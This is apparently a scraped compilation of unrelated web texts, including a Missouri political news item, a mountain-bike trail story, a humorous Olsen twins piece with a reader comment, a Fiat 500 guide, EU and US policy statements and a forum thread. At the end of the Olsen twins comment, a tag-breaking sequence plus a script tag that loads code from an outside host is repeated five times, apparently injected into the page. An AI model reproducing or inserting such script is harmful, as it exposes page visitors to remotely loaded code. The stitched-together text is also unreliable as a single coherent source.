Lawmaker review of Greitens over, MEC complaint remains
COLUMBIA, Mo. (AP) — While work by Missouri House lawmakers to investigate Eric Greitens officially came to an end Monday when the investigatory committee issued its final report, its leader said he's still hopeful the former scandal-ridden governor will be held accountable for alleged campaign finance violations.
Republican Rep. Jay Barnes said in a statement that the committee he headed lost the authority to continue its investigation into numerous claims of personal and political misconduct levied against Greitens when the Republican resigned in the face of possible impeachment in June.
"However, the Missouri Ethics Commission has the power to investigate and act," Barnes said. "I remain hopeful the commission will take appropriate action to enforce Missouri's campaign finance laws against Eric Greitens and those with whom he conspired to evade reporting requirements and voter-enacted campaign finance limits."
Barnes in July filed an ethics complaint against Greitens' gubernatorial campaign and a nonprofit that promoted his agenda.
Among the allegations, the complaint said several of Greitens' campaign staff members established the nonprofit called A New Missouri specifically to skirt new donation limits while essentially functioning as an unofficial arm of Greitens' operation.
The nonprofit has faced criticism because it's able to accept unlimited campaign donations without disclosing its donors.
Catherine Hanaway, an attorney for the campaign and nonprofit, on Monday said she's "not surprised" that Barnes still wants the complaint to be heard months after he filed it.
"We don't believe that his allegations about violations of campaign finance law are accurate," Hanaway said. "Greitens for Missouri and A New Missouri complied with all Missouri campaign finance laws."
The Missouri Ethics Commission can levy fines and, in certain cases, refer cases to prosecutors.
The final House committee report details months of work by lawmakers to investigate mounting claims against Greitens, including allegations that he slapped and shoved a woman with whom he had an extramarital affair and that he took a donor list without permission from a nonprofit he founded and used it for political fundraising. Greitens has repeatedly denied allegations of criminal misconduct.
A special prosecutor ultimately decided against taking up a felony invasion of privacy charge against Greitens related to claims that he allegedly took a photo of the woman he had an affair with while she was partially nude, then threatened to release it if she exposed their relationship. In exchange for his resignation, St. Louis prosecutors also dropped a felony charge of tampering with computer data that was related to the donor list.
Still pending are a lawsuit alleging Greitens' office violated the Sunshine Law by using a message-deleting app called Confide and an appeal of a dismissed lawsuit claiming A New Missouri should have to turn over its financial records.

New Que Trail Hoped to Attract Mountain Bikers and Their Money
Friday, May 20, 2016 9:35 AM by Laurel Highlands Visitors Bureau
Daily American: by Dylan Johnson
With mountain bikes and shovels in hand, officials broke ground on a new mountain biking trail at the Quemahoning Reservoir on Friday.
A 6-mile section will be completed this year, and an additional 11 miles will be added by 2017 or 2018, according to Brad Clemenson, coordinator of Lift Johnstown.
This beginner to intermediate level 1-foot-wide trail will also have interwoven loop trails for experienced mountain bikers. The first section begins at the Quemahoning Family Recreation Area off Quemahoning Dam Road.
The project was put together by groups, including the Cambria Somerset Authority, the Laurel Highlands On & Off Road Bicycling Association and the Stonycreek-Quemahoning Initiative.
Rich Maher, vice president of the association, said the 17-mile loop around the Quemahoning Reservoir will bring in bicyclists from all over.
"If all goes well with funding and future expansion, the Que trail network will be a destination on par with the Allegrippis Trails near Raystown Lake," he said. "It's been a long time coming and it's finally going to happen."
Many officials who contributed to the project made presentations at the groundbreaking. Most touted the trail as a great economic stimulator for the area.
Renee Seifert, president of the Laurel Highlands Visitors Bureau, said tourism is vital to Somerset, Fayette and Westmoreland counties.
"As tourism grows, it provides income, employment opportunities and tax revenue to benefit your local communities as well as the state of Pennsylvania," she said.
She said travelers spend $1.8 million in the Laurel Highlands every year. Their tourism also generates $370 million in labor income, $120 million in state and local taxes and $116 million in federal taxes.
"One in three jobs in the Laurel Highlands is tourism-related," she said. "The majority of visitors travel here for what we consider world-class outdoor adventure."
Nearly $48,000 was contributed in grants from state and local sources, and more was donated in the form of volunteer planning and engineering. More funding is needed for the trail additions.
Somerset County Commissioner John Vatavuk agreed with Seifert, saying recreational opportunities attract people who wouldn't normally travel to the county.
"That's what this county really needs, is more people to come here and spend their money here," he said. "Plus, it affords our own citizens recreational opportunities."
Stonycreek-Quemahoning Initiative Chairman Howard Picking thanked the many people who put in hard work and effort to get the trail started.
"There's a lot of people doing a lot of things to make this a great place to live," he said.
The trail will be constructed this year by volunteers and Maher Contracting, of Johnstown. Clemenson estimated the project will exceed $600,000 in economic impact every year.

Which Olsen Twin is the Evil Twin?
by Kris on 7/13/2008 (5)
Good or evil? Let's find out!
If there is one thing we know about twins, it is that there is always a good twin and there is always an evil twin. Superman had his evil twin Bizarro. Spock had his evil twin Goateed Spock. Even Godzilla got an evil twin in Mechagodzilla. So it seems only logical that one of the Olsen Twins has to be the evil one.
The Evil of Mary-Kate
Two-Word First Name
She has a two-word first name, just like Goated Spock or Evil Ash. Clearly two-word first names are far more evil than their one-word counterparts.
Dated a Douchebag
She dated Stavros Niarchos III, who also dated Paris Hilton and Lindsay Lohan. No one disputes that Hilton and Lohan are evil and thus it is logical to conclude that Mary-Kate is also evil.
Always First
The Olsen Twins are always referred to as Mary-Kate and Ashley Olsen, never Ashley Olsen and Mary-Kate. Evil is selfish and would want its name first, just like Mary-Kate.
Eugene Levy Effect
Stared in the box-office flop "New York Minute" with perennially funny and good Eugene Levy. To offset the good karma of one such as Eugene Levy would take an evil of massive proportions. Ashley was also in this movie, but is not credited in the opening line of the Wikipedia entry. Deleting her name from the description seems like just another evil Mary-Kate may have perpetrated.
Possessed?
In 2004, she suffered from rapid-weight loss and was often seen projectile-vomiting pea-soup just like the possessed girl in the Exorcist. Those close to her have also, on a rare occasion, seen her head spin completely around. Clearly this is evil behavior.
The Evil of Ashley
One-Word First Name
She has a one word first name, just like Satan, Jason Vorhees, or Dick Chaney. Clearly there is a strong history of people with one-word first names being very evil.
Kills Animals
Loves killing animals and wearing their fur as trophies, winning her PETA's "2006 Worst Dressed" award. While killing animals is cool, it's also evil.
Fan of Cancer
She dated Lance Armstrong, fifteen years her senior, in a heavily rumored attempt to torpedo his "Live Strong" anti-cancer bracelets. No one likes cancer, except maybe Ashley Olsen.
Hates Freedom of Speech
She sued "National Enquirer" in 2005 for a story claiming she was caught in a drug scandal. Never mind that the story opposite it revolved around Batboy's secret passion for surfing. In all likelihood, she will be suing Smooth Operator after reading this article. We're good guys here and that makes her evil.
Won't Call Me Back
She never returns my phone calls. Ever. I left her fifteen messages yesterday but not one single callback. I'm a nice guy, I'm reasonably fit, and I'm rolling in Smooth Operator advertising doe. But no, she'd rather date Justin Lee Bartha, who's claim to fame is being the guy in "National Treasure" that wasn't Nicolas Cage. If that's not evil, I don't know what is.
This was a tough choice, as both twins have made choices that clearly come across as evil. While Ashley has attempted to stifle free speech, killed thousands of animals (especially cute bunnies), and won't call me back,

If i had a Too chose who is the evil Twin,then the verdict is that Mary Kate Olsen is the Evil Twin,Because she Killed the Great ONE Heath Ledger, But That means Ashley Olsen is no Godsend Angel herself,I Mean she snuffed COCAINE for goodness sake,Are The OLSEN TWINS good or bad,well they are bad,they are no Positive Role models for kids anymore,THEY(The OLSEN TWINS)FEED off your Addiction toward them,and they take your money for IT,the Olsen Twins have always been about themselfs,they care about One thing and one thing only,and thats themselfves,the VERDICT,THE OLSEN TWINS ARE PURELY EVIL and soo are their Fans( FROM the START)It take two to be EVIL. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


It's the Peter Pan of superminis, the car that never seems to age. Despite being launched as far back as 2008 (when it scooped the Car of the Year award), the Fiat 500 still looks fresh and funky and it's still as desirable as ever. There's a version for everyone, from the regular editions to an array of Abarth variants offering up to 190bhp. But you don't need more than a 1.2 Lounge (avoid the lacklustre diesel) – just bear in mind that the fun factor massively outweighs the practicality aspects.
Jan 2008: The first 500s arrive, with 1.2 or 1.4-litre petrol engines, or a 1.3 turbodiesel.
Jan 2009: The 1.2 Start&Stop arrives, with CO2 emissions cut from 119g/km to 113g/km.
Jul 2009: The open-topped 500C is launched.
Feb 2010: The 1.3 diesel is boosted to 95bhp (from 75bhp) with better economy thanks to stop/start.
Aug 2010: The two-cylinder 875cc TwinAir debuts.
Jun 2012: A refresh brings new colours, a two-tone leather trim option and fresh alloy wheels – but no mechanical changes.
Sep 2015: A further facelift brings new lights, more efficient engines, improved multi-media and extra safety kit.
The diesel engine needs top-notch oil when it's serviced; cheap lubricant will cause problems.
The interior trim can be fragile, with bits breaking or falling off. The seat tipping mechanism can also give trouble, so check it works OK.
Diesel engines can fail, while the engine management light comes on if there are problems with the particulate filter.
The Dualogic automated manual transmission isn't as reliable as the manual alternative.
Diesel engines are less reliable than petrol units, with dual-mass flywheel failures also an issue.
The paint can get damaged easily, especially red and black finishes, so look for chips and scratches.
Make sure any potential purchase isn't an ex-driving school car as such cars tend to lead hard lives.


Small claims court trials are very informal compared to a regular civil trial. This allows the trials to be conducted in a much more informal fashion. Furthermore, the judge is allowed and often ask questions of witnesses and parties to help understand the facts of a case. It will likely be pretty quick. However, if a party wishes for a jury trial, it will likely last a few hours. Small Claims Court cases for Webb are heard in 6 LOCATIONS throughout Webb County.
Small claims cases in Webb County are heard in front of the justice of the peace for Webb County.
We recommend contacting the Webb County court clerk before proceeding down to the courthouse to file your action. This will ensure the courthouse is open and someone is available to assist with the filing of your claim.

This suspenseful made-for-TV thriller centers on a researcher who discovers that the world has become trapped in a time warp that causes the same 24-hour period to repeat itself. During the course of that endlessly repeated day, Thompson must figure out how to put time back on its normal course.
Silverman and Slater are appealing protagonists, and it's amusing to watch the icy physicist melt as she begins to comprehend the plot and warm to nerdy-but-nice Thomas (aspects of this office bear a passing resemblance to Fox series Herman's Head).
Jonathan Silverman does a fantastic performance as an average office worker who realises that everything is happening exactly as it did the previous day after his shock accident at 12:01am. I like what Silverman's character is doing his job to stop the murder and the time loop - exciting sci-fi adventure, funny and thriller unlike The Groundhog Dog.

MUZAFFARABAD: Hundreds of female students of private schools carried out a protest here Monday against killing of 19 people including two teenage girls during the last 3-day in Indian occupied Kashmir (IOK).
The protest organized by Pasban-e- Hurriyat Jammu and Kashmir led by its Chairman Uzair Ahmad Gazali was attended by hundreds of female students of read foundation school who chanted slogan against Indian forces.
The protesters marched from Gujra campus of the school to Noluchi Bridge carrying banners and play cards inscribed with pro-freedom and anti-Indian slogans demanding the United Nations to take a cognizance of Indian brutalities.
Addressing the protesters, Uzair Ahmad Gazali and Pakistan Peoples Party local leader Shukat Javed Mir said the silence of United Nations on killings of youngsters in Shopian and Bejbhara in IOK may jeopardize peace in the region.
He said Indian forces didn''t spare a two-year old Habiba Nisar and targeted her with pellet while she was at her home and two youngsters were shot dead in the same area.

To celebrated the arrival in Bristol of Los Autonomos, an anarchist Brasilian football team, on Monday 2nd August 2010 the Easton Cowboys & Cowgirls will be hosting a discussion featuring David Goldblatt.
Topics will include the world cup just passed, the next world cup to be held in Brasil and international fan culture. There will also be cheap Brasilian food and cocktails. From 7:30pm at the Stag and Hound at the bottom of Old Market.
An anarchist football side almost sounds like a contradiction in terms. Mr. Goldblatt, I've read THE BALL IS ROUND with great interest, being an American fairly new-come to the world's game. My own sport of choice remains baseball, for reasons about as deeply historical as your own seem to be. If you could drop me an e-mail at h.turtledove at yahoo dot com, I'd enjoy talking with you about the two sports. Thanks.

E3 statement on the JCPoA: 7 December 2020
Pubblicato il 8 Dicembre 2020 da Antonino Alì
The governments of France, Germany and the UK respond to Iranian plans to expand its nuclear programme and restrict IAEA monitoring access.
Statement by the governments of France, Germany and the United Kingdom:
We, the governments of France, Germany and the United Kingdom have worked tirelessly to preserve the Joint Comprehensive Plan of Action (JCPoA). It is a key achievement of multilateral diplomacy and the global non-proliferation architecture. We negotiated the JCPoA with the conviction that it would decisively contribute to building confidence in the exclusively peaceful nature of Iran's nuclear programme, as well as to international peace and security. It remains the best, and currently the only, way to monitor and constrain Iran's nuclear programme.
Iran's recent announcement to the IAEA that it intends to install an additional three cascades of advanced centrifuges at the Fuel Enrichment Plant in Natanz is contrary to the JCPoA and deeply worrying.
Furthermore, we have taken note, with great concern, of the recent law passed by the Iranian Parliament, which – if implemented – would substantially expand Iran's nuclear programme and limit IAEA monitoring access. The measures would be incompatible with the JCPoA and Iran's wider nuclear commitments.
If Iran is serious about preserving a space for diplomacy, it must not implement these steps. Such a move would jeopardise our shared efforts to preserve the JCPoA and risks compromising the important opportunity for a return to diplomacy with the incoming US Administration. A return to the JCPoA would also be beneficial for Iran.
We will address Iran's non-compliance within the framework of the JCPoA. We welcome the statements by President-elect Biden on the JCPoA and a diplomatic path to address wider concerns with Iran. This is in all our interests.

Joint Leaders' Statement on The Regional Comprehensive Economic Partnership (RCEP)
We, the Heads of State/Government of the Member States of the Association of Southeast Asian Nations (ASEAN) – Brunei Darussalam, Cambodia, Indonesia, Lao PDR, Malaysia, Myanmar, the Philippines, Singapore, Thailand and Viet Nam – Australia, China, Japan, Korea and New Zealand, met virtually on 15 November 2020, on the occasion of the 4th RCEP Summit.

In light of the adverse impact of the pandemic on our economies, and our people's livelihood and well-being, the signing of the RCEP Agreement demonstrates our strong commitment to supporting economic recovery, inclusive development, job creation and strengthening regional supply chains as well as our support for an open, inclusive, rules-based trade and investment arrangement. We acknowledge that the RCEP Agreement is critical for our region's response to the COVID-19 pandemic and will play an important role in building the region's resilience through inclusive and sustainable post-pandemic economic recovery process.

Court of Justice: Real-time data collection and data retention – Threat to national security.
Pubblicato il 6 Ottobre 2020 da Antonino Alì
The Court of Justice confirms that EU law precludes national legislation requiring a provider of electronic communications services to carry out the general and indiscriminate transmission or retention of traffic data and location data for the purpose of combating crime in general or of safeguarding national security
Judgments in Case C 623/17, Privacy International, and in Joined Cases C 511/18, La Quadrature du Net and Others, C 512/18, French Data Network and Others, and C 520/18, Ordre des barreaux francophones et germanophone and Others
EU law precludes national legislation requiring a provider of electronic communications services to carry out the general and indiscriminate transmission or retention of traffic data and location data for the purpose of combating crime in general or of safeguarding national security.
CP200123EN
The Court considers, however, that national legislation requiring providers of electronic communications services to retain traffic data and location data or to forward that data to the national security and intelligence authorities for that purpose falls within the scope of that directive.
Next, the Court recalls that the directive on privacy and electronic communications does not permit the exception to the obligation of principle to ensure the confidentiality of electronic communications and the related data and to the prohibition on storage of such data to become the rule. This means that the directive does not authorise the Member States to adopt, inter alia for the purposes of national security, legislative measures intended to restrict the scope of rights and obligations provided for in that directive, in particular the obligation to ensure the confidentiality of communications and traffic data, unless such measures comply with the general principles of EU law, including the principle of proportionality, and the fundamental rights guaranteed by the Charter.

USA: Department of Defense released the names of additional "Communist Chinese military companies" operating directly or indirectly in the United States in accordance with the statutory requirement of Section 1237 of the National Defense Authorization Act for Fiscal Year 1999
Pubblicato il 28 Agosto 2020 da Antonino Alì
Today, the Department of Defense released the names of additional "Communist Chinese military companies" operating directly or indirectly in the United States in accordance with the statutory requirement of Section 1237 of the National Defense Authorization Act for Fiscal Year 1999, as amended.
The Department is determined to highlight and counter the People's Republic of China's (PRC) Military-Civil Fusion development strategy, which supports the modernization goals of the People's Liberation Army (PLA) by ensuring its access to advanced technologies and expertise acquired and developed by even those PRC companies, universities, and research programs that appear to be civilian entities.
The Department released its initial list of companies to Congress in June 2020 and will continue to update the list with additional entities as appropriate.
USA: Executive Order on Addressing the Threat Posed by TikTok
Pubblicato il 6 Agosto 2020 da Antonino Alì
https://www.whitehouse.gov/presidential-actions/executive-order-addressing-threat-posed-tiktok/TikTok
By the authority vested in me as President by the Constitution and the laws of the United States of America, including the International Emergency Economic Powers Act (50 U.S.C. 1701 et seq.) (IEEPA), the National Emergencies Act (50 U.S.C. 1601 et seq.), and section 301 of title 3, United States Code,
I, DONALD J. TRUMP, President of the United States of America, find that additional steps must be taken to deal with the national emergency with respect to the information and communications technology and services supply chain declared in Executive Order 13873 of May 15, 2019 (Securing the Information and Communications Technology and Services Supply Chain). Specifically, the spread in the United States of mobile applications developed and owned by companies in the People's Republic of China (China) continues to threaten the national security, foreign policy, and economy of the United States. At this time, action must be taken to address the threat posed by one mobile application in particular, TikTok.

As I explained in an Executive Order of August 6, 2020 (Addressing the Threat Posed by Tiktok, and Taking Additional Steps to Address the National Emergency With Respect to the Information and Communications Technology and Services Supply Chain), the spread in the United States of mobile applications developed and owned by companies in the People's Republic of China (China) continues to threaten the national security, foreign policy, and economy of the United States. To protect our Nation, I took action to address the threat posed by one mobile application, TikTok. Further action is needed to address a similar threat posed by another mobile application, WeChat.
Access to security-related sensitive information under Regulation 2019/452 EU and United Kingdom
Pubblicato il 31 Luglio 2020 da Antonino Alì
COMMISSION DECISION of 31.7.2020
on the application of Article 127(7)(b) of the Agreement on the Withdrawal of the United Kingdom of Great Britain and Northern Ireland from the European Union and the European Atomic Energy Community to the cooperation mechanism under Regulation (EU) 2019/452 which grants access to security-related sensitive information
Pursuant to Articles 6 to 11 of Regulation (EU) 2019/4522 a cooperation mechanism between the Commission and the Member States is established to exchange information on foreign direct investments. The purpose of the cooperation mechanism is to allow each Member State to examine whether a foreign direct investment in another Member State is likely to affect its own security or public order and the Commission to examine whether a foreign direct investment is likely to affect security or public order in more than one Member State.
While the cooperation mechanism will apply from 11 October 2020, the preparatory arrangements are undertaken by the Commission and by the Member States since the entry into force of Regulation (EU) 2019/452 on 11 April 2019.
The cooperation mechanism provides an exchange of security relevant information between designated contact points of the Member States and the Commission, including classified information at "EU secret/EU confidential" level, to allow Member States and the Commission to examine the possible effects of foreign direct investment on security or public order.
The participation of the United Kingdom in the cooperation mechanism is a participation in an information exchange provided for in Union law, which will continue to be implemented beyond the transition period and which would grant access to security-related sensitive information that only Member States, nationals of Member States, or natural or legal persons residing or established in a Member State, are to have knowledge of. Therefore, this would constitute one of the exceptional cases, in which the references to Member States should be understood as not including the United Kingdom.
Pursuant to Article 127(7)(b) of the Withdrawal Agreement, the United Kingdom should be excluded from participation in the above-mentioned cooperation mechanism.

Statement by President VON DER LEYEN on the recent ruling of the German Constitutional Court
Pubblicato il 10 Maggio 2020 da Antonino Alì
The recent ruling of the German Constitutional Court put under the spotlight two issues of the European Union: the Euro system and the European legal system.
We take good note of the clear statement of the European Court of Justice of 8 May.
In the same vein, the European Commission upholds three basic principles: that the Union's monetary policy is a matter of exclusive competence; that EU law has primacy over national law and that rulings of the European Court of Justice are binding on all national courts.
The final word on EU law is always spoken in Luxembourg. Nowhere else.
The European Commission's task is to safeguard the proper functioning of the Euro system and the Union's legal system.
We are now analysing the ruling of the German Constitutional Court in detail. And we will look into possible next steps, which may include the option of infringement proceedings.
The European Union is a community of values and of law, which must be upheld and defended at all times. This is what keeps us together. This is what we stand for.

Schuman Declaration: 70 years on
Pubblicato il 9 Maggio 2020 da Antonino Alì
Aiming to secure peace in Europe after the horrors of the Second World War, the Schuman Declaration proposed cooperation among European countries in two key economic areas central to rearmament and warfare: coal and steel. As an institutional framework for this cooperation, the Schuman Declaration proposed the creation of the first supranational organisation in Europe, the European Coal and Steel Community (ECSC). Established in 1952, the ECSC laid the foundations for today's European Union (EU). The Schuman Declaration is therefore seen as the EU's founding act. Presented by the French Foreign Minister, Robert Schuman, on 9 May 1950, this year marks the 70th anniversary of the Schuman Declaration.
Press release following the judgment of the German Constitutional Court of 5 May 2020
The Directorate for Communication of the Court of Justice received many enquiries concerning the judgment delivered by the German Constitutional Court on 5 May 2020 regarding the European Central Bank's PSPP programme.
The departments of the institution never comment on a judgment of a national court.
In general, it is recalled that the Court of Justice has consistently held that a judgment in which the Court gives a preliminary ruling is binding on the national court for the purposes of the decision to be given in the main proceedings. In order to ensure that EU law is applied uniformly, the Court of Justice alone – which was created for that purpose by the Member States – has jurisdiction to rule that an act of an EU institution is contrary to EU law. Divergences between courts of the Member States as to the validity of such acts would indeed be liable to place in jeopardy the unity of the EU legal order and to detract from legal certainty. Like other authorities of the Member States, national courts are required to ensure that EU law takes full effect. That is the only way of ensuring the equality of Member States in the Union they created. The institution will refrain from communicating further on the matter.

ECB takes steps to mitigate impact of possible rating downgrades on collateral availability
ECB to grandfather until September 2021 eligibility of marketable assets used as collateral in Eurosystem credit operations falling below current minimum credit quality requirements
Appropriate haircuts will apply for assets that fall below the Eurosystem minimum credit quality requirements
Decision reinforces broader package of collateral easing measures adopted by the Governing Council on 7 April 2020, which will also remain in place until September 2021
ECB may decide further measures, if needed, to continue ensuring the smooth transmission of its monetary policy in all jurisdictions of the euro area
The Governing Council of the European Central Bank (ECB) today adopted temporary measures to mitigate the effect on collateral availability of possible rating downgrades resulting from the economic fallout from the coronavirus (COVID-19) pandemic. The decision complements the broader collateral easing package that was announced on 7 April 2020. Together these measures aim to ensure that banks have sufficient assets that they can mobilise as collateral with the Eurosystem to participate in the liquidity-providing operations and to continue providing funding to the euro area economy.
Specifically, the Governing Council decided to grandfather the eligibility of marketable assets and the issuers of such assets that fulfilled minimum credit quality requirements on 7 April 2020 in the event of a deterioration in credit ratings decided by the credit rating agencies accepted in the Eurosystem as long as the ratings remain above a certain credit quality level. By doing so, the Governing Council aims to avoid potential procyclical dynamics. This would ensure continued collateral availability, which is crucial for banks to provide funding to firms and households during the current challenging times.

Abbiamo una brutta notizia per l'opinione pubblica italiana: l'Italia è un paese ESPORTATORE, e il commercio estero sostiene migliaia di posti di lavoro. I nostri migliori partner commerciali sono gli altri paesi europei, verso i quali ogni anno esportiamo DIECI VOLTE quello che esportiamo verso Russia e Cina messe insieme.

OPCW Releases Report concludes units of the Syrian Arab Air Force used chemical weapons in Ltamenah, Syria in March 2017
THE HAGUE, Netherlands – 8 April 2020 – The Organisation for the Prohibition of Chemical Weapons (OPCW) released today the findings of the first report by the OPCW Investigation and Identification Team (IIT). The IIT is responsible for identifying the perpetrators of the use of chemical weapons in the Syrian Arab Republic where the OPCW Fact-Finding Mission (FFM) has determined that chemical weapons have been used or likely used in Syria.
The IIT's first report sets out its mandate, the legal and practical challenges of its work, and the findings of the investigations conducted between June 2019 and March 2020, focusing on the incidents in Ltamenah, Syrian Arab Republic on 24, 25, and 30 March 2017. The IIT's investigation and analysis included a comprehensive review of all of the information obtained including: interviews with persons who were present in the relevant places at the time of the incidents, analysis of samples and remnants collected at the sites of the incidents, review of the symptomatology reported by casualties and medical staff, examination of imagery, including satellite images, and extensive consultation of experts. The investigation relied on relevant FFM reports as well as on samples and other material obtained directly by the Technical Secretariat in the territory of Syria.

Where is Search Party Filmed?
Varun Patel
Leave the law and justice to the officials, they say. But sometimes, playing detective is just too much fun to give up. 'Search Party' is a dark comedy mystery series that uses that emotion to weave a rather funny and intriguing tale. The series is one that handsomely puts a fresh spin on the mystery genre, as well as the group-of-friends sitcom premise.
'Search Party' revolves around a group of self-absorbed New York City friends. They discover that one of the group members, Dory's college classmate, Chantal has gone missing. As a result, she sets out to find her along with her friends. It becomes a thrill for Dory: one that is filled with twists, but also a lot of laughs due to her lack of investigative experience.
The character of Dory is played by Alia Shawkat of 'Arrested Development' fame. John Reynolds plays the character of a sheltered man named Drew Gardner while John Early plays a gay narcissist, Elliot. Other cast members include Meredith Hagner and Brandon Michael Hall.
Search Party Filming Locations
Several viewers might have wondered where 'Search Party' is filmed. The show is set in New York City with the central characters depicted to be residents of the Big Apple. The city as the backdrop is felt throughout the series as the friends go about on a search for Dory's missing friend. Hence, it is natural for viewers to wonder where the show is shot. Is it actually filmed in New York City? Or have the makers used another city to double up as NYC?
Viewers would be pleased to know that 'Search Party' is actually filmed in New York City. That is the reason the show's setting feels extremely authentic. For instance, according to IMDb, filming was carried out in Delancey Street & Bowery.
Next, local sources have pointed out that filming has mainly taken place in Greenpoint and Williamsburg. A few filming notices had been spotted in Financial District along Pearl Street. However, most of the interior filming is carried out in a warehouse in Brooklyn. The following tweet reveals how filming was carried out on 14th Street:

Filming was also undertaken on Oak Street and West Street, according to this tweet:

Kent Avenue and Metropolitan Avenue in Williamsburg were also made use of for filming purposes. Have a look:

As you can see, filming for 'Search Party' is carried out on location all over NYC. That is the reason that the series nails its setting. Here are some photos from the show:

'Today Show' goes live from St. Augustine for a Powerball cocktail
Treasury on the Plaza co-owner Brenda Bushell always knew keeping the old bank vault at her special events venue would make the place stand out. But get her on TV?
The vault, which is used to house a small bar at the Treasury, was the centerpiece of a segment on Wednesday's episode of NBC's "Today Show."
Related: $1.6 billion Jackpot: Winning Powerball tickets sold in Florida, Tennessee and California
The show did a segment on the projected Powerball jackpot of $1.5 billion after reporter Kerry Sanders told Bushell he thought the vault would be perfect for the show.
The winning numbers:Powerball, Mega Millions and Florida Lottery
It didn't take much time for Bushell to agree to provide the venue for Sanders and the show.
"I think it's wonderful," she said Tuesday. "It's great publicity for us and for St. Augustine."

Home|Legal questions|Warrantless Searches of Automobile Computer "Black Box"?
There are no exigent circumstances for the search.
The black box is a computer that stores data.
In your opinion, does Carroll Doctrine apply to warrant a warrantless search? Or, is a search warrant required?
An answer to this question can likely be found by examining court precedent on the topic of warrantless searches of automobiles such as the Eighth Circuit Court of Appeals case of the United States v. Perry.iIn Perry, officers arrested suspects for robbery and, with sufficient probable cause but without a search warrant, searched their vehicle for evidence. The vehicle was then towed to the police station. There, it was again searched without a warrant; evidence was photographed and removed from the trunk.
Later, one of the issues in the case was whether the officers acted properly relying upon the "automobile exception" (see Carroll v. U.S.ii and its progeny) by searching the vehicle at the police station without a search warrant.
In Perry, the Eighth Circuit looked at the Supreme Court case of U.S. v. Rossiv and held that it controlled their decision in Perry. In Ross, police received information that amounted to probable cause that Ross was dealing narcotics from his vehicle. They located Ross and stopped him. They searched his vehicle without a warrant on the scene and found a gun and heroin. Ross was arrested and his vehicle was towed to the police station. The police then, again without a search warrant, searched Ross' trunk and found $3,200 in cash. The Supreme Court upheld all of the warrantless searched of Ross' vehicle based upon the probable cause that evidence was located in the vehicle.
As a reminder, in the scenario presented in the question above, the writer states that the vehicle is "no longer mobile and is being stored in a secure facility." In a case out of the United States District Court for the Northern District of Iowa, the district court faced an issue regarding a warrantless search of an apparently immobile, damaged vehicle. In the United States v. O'Connellviii, officers had probable cause to arrest O'Connell. They went to his parent's property and found his car. They checked his car, and it was unoccupied. About five feet from the car, the police observed a conversion van that was parked in two foot tall weeds. It had flat front tires and a severely damaged front end. The vehicle had been "totaled" in a crash six weeks prior and was apparently no longer operational. The police entered the van to search for O'Connell and he was arrested. They also searched the van without a warrant and found a shotgun.
In light of the above case law and the fact that the question presented states that the vehicle at issue is not operational due to a damage, it would seem best for the officer to obtain a search warrant in order to seize the electronic data recorder (a.k.a. "black box"), and the data contained therein, from a vehicle.
Court holdings can vary significantly between jurisdictions. As such, it is advisable to seek the advice of a local prosecutor regarding questions on specific cases. This answer is not intended to constitute legal advice on a specific case.

The Forum > General Discussion > Is Misogyny Still Alive and Well in the Liberal Party?
Is Misogyny Still Alive and Well in the Liberal Party?
Its been six years since Julia Gillard labeled Tony Abbott a misogynist. And it would be hoped the federal parliamentary Liberal Party would have learned a lesson from the Abbott experience. In 2017 Foreign Minister Julie Bishop did shared some unpleasant details about her time in the Abbott Government. Bishop revealed how she was the lonely token woman, who was ignored in Abbott's all male, bar one, men's club.
That's all water under the bridge, and one would expect that by now the Liberal Party would have learned its lesson, and realized the macho stuff has no place in today's government. Not so it seems, as one woman Liberal MP after another, reveals how she was bullied by male colleagues in the recent leadership fight. Julia Banks was the first Liberal female MP to come forward and reveal the "cultural and gender bias, bullying and intimidation" of women in politics. Banks will not re-contest he marginal Melbourne seat. Then the Minister for Women, Kelly O'Dwyer, said Liberal MPs "were subject to threats and intimidation and bullying" during the recent leadership spill. Now, Liberal Senator Lucy Gichuhi has threatened to name Liberal MP who she says bullied her and other female colleagues during the leadership fight.
their careers at risk? And will these women be prepared to do that?
he saw what has happened to it?
the snowflake generation on show. How about the 22 staffers of Emma Hussar. Oops forgot about then Paul.
Are you really woman yourself? You certainly have a good line in misandry. Pauline, is it?
Paul/Foxy, never easy, not posting our thoughts on this issue but in reflection very poorly thought out needless NEEDLESS trolling from? the question is, and I am thinking as a recent arrival not the once was me,can we truly talk about any subject? are we welcoming new posters or turning them away? YES these women do have questions, those need answers, why not have more woman in that party, Labor gets targeted, sainthood is conferred on one of mine,! but only to then claim she was a victim! that lady was investigated by my party, she walked away *because she knew she was guilty* a poster here is targeting me, it steams back to another site and my refusal to think of one nation haters as truly well informed and that every Muslim is not evil,it is childlike but?not sure what to do.
There appears to be a systemic problem with the right of the Liberal Party when it comes to bias against women. It reflects badly on those that would presume to govern us. In the case of Julia Bishop, regardless of ones politics, no one can deny she has not been more than capable as Foreign Minister and as a senior member of the government, it will be Australia's loss when she leaves the parliament. In the case of Julia Banks she is not going to get the time to prove herself as a politician, she had a taste, and she don't like it! I've only seen the Minister for Women, Kelly O'Dwyer a few times, and she to appears up to the task. Lucy Gichuhi although not a member of the Liberal Party is so incensed by the behaviour of some Liberal Party men in this matter that she is prepared to name, names in parliament.
If they believe in honesty in government then Morrison and Dutton need to step forward and tell the Australian public the truth, about the tactics used against women, during their brawl for the top job.
Yes runner I agree, Emma Hussar does not deserve to sit in parliament, her behaviour towards staff has been reprehensible. The quicker she goes the better.
ttbn, Are you (Paul1405) really woman yourself? No, I am a male heterosexual. For me your question is irrelevant to the discussion. On women's issues it is a fair bet I'm probably in the same boat as Foxy, we both support gender equality. Does it shock you that a male could possibly be supporting the "sheilas", I use that word as its probably the one you are most familiar with. and use in the circles you move in.
BTW, in your Corny Banana Conservative Party what is the woman's policy? Does it extend beyond the sign at the front door "No Sheilas Allowed".

Real Madrid's Jovic: "My dream comes true now"
The Serbia striker bade farewell to Eintracht Frankfurt in an Instagram post on Wednesday after joining Real Madrid for a fee of €60 million.
Update: June 6th, 2019 08:11 EDT
Bongarts
Luka Jovic said his dream has come true after leaving Eintracht Frankfurt for LaLiga giants Real Madrid.
Jovic swapped Bundesliga side Eintracht for Madrid on a five-year contract, with the transfer fee reportedly worth €60million.
The 21-year-old Serbia striker took Europe by storm in 2018-19, scoring 17 Bundesliga goals and another 10 in Eintracht's memorable run to the Europa League semi-finals.
Jovic, who arrived from Benfica on a two-year loan deal in 2017 before Eintracht triggered the purchase option in April, bid farewell to the German team on Wednesday.
